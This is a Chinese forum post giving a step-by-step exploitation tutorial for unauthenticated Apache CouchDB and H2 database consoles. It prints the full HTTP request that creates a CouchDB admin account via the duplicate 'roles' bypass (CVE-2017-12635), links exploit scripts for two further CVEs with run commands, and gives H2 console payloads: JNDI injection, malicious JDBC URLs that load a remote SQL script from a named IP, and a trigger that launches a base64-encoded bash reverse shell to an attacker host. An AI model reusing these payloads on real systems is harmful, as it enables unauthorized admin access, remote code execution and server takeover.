Couchdb&H2database未授权

打印 上一主题 下一主题

主题 903|帖子 903|积分 2709

Couchdb未授权

   默认端口:5984
  Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
  在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令实验漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在筹划、实验view的时间将被运行。
  垂直权限绕过(CVE-2017-12635)

影响版本:<1.7.0 && <2.1.1
  1. PUT /_users/org.couchdb.user:vulhub HTTP/1.1
  2. Host: your-ip:5984
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/json
  8. Content-Length: 108
  9. {
  10.   "type": "user",
  11.   "name": "vulhub",
  12.   "roles": ["_admin"],
  13.   "password": "vulhub"
  14. }
复制代码
添加用户数据包,用户名:vulhub 密码:vulhub
若返回403错误{“error”:“forbidden”,“reason”:“Only _admin may set roles”}
那么数据包内添加一个"roles":[]即可绕过
  1. PUT /_users/org.couchdb.user:vulhub HTTP/1.1
  2. Host: your-ip:5984
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/json
  8. Content-Length: 108
  9. {
  10.   "type": "user",
  11.   "name": "vulhub",
  12.   "roles": ["_admin"],
  13.   "roles": [],
  14.   "password": "vulhub"
  15. }
复制代码

登岸即可
命令实验(cve-2017-12636)

该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以使用CVE-2017-12635先增加一个管理员用户。
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

只需要更改target的url和反弹shell命令
成功吸取到shell

分布式协议代码实验 (CVE-2022-24706)



  • 5984: Apache CouchDB Web管理接口
  • 4369: Erlang端口映射服务(epmd)
  • 9100: 集群节点通信和运行时自省服务(代码实验实际发生在这个端口中)
其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际情况下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。
exp下载:vulhub/couchdb/CVE-2022-24706/poc.py at master · vulhub/vulhub
python poc.py target-ip 4369
H2database未授权

   默认端口:20051
  Java SQL数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的idbc:h2:mem JDBC URL实验任意代码。
  

看见这个登录界面就可以实验未授权使用
JNDI-Injection-Exploit下载:https://github.com/welk1n/JNDI-Injection-Exploit
方法一:

Driver Class:填入 javax.naming.InitialContext
在vps上启动exp

将粉红的rmi开头的填入界面

点击Connect后可以看见服务器有反应

那么就是成功创建文件了
方法二:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
未授权进入


方法三:

创建数据库文件 h2database.sql并放在vps上面
  1. CREATE TABLE test (
  2. id INT NOT NULL
  3. );
  4. CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
  5. Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
  6. #反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
复制代码
http共享sql文件

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://搭建的IP:端口/h2database.sql’;\
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://117.72.120.22/h2database.sql’;\
输入到JDBC URL
点击Connect

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

数据人与超自然意识

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表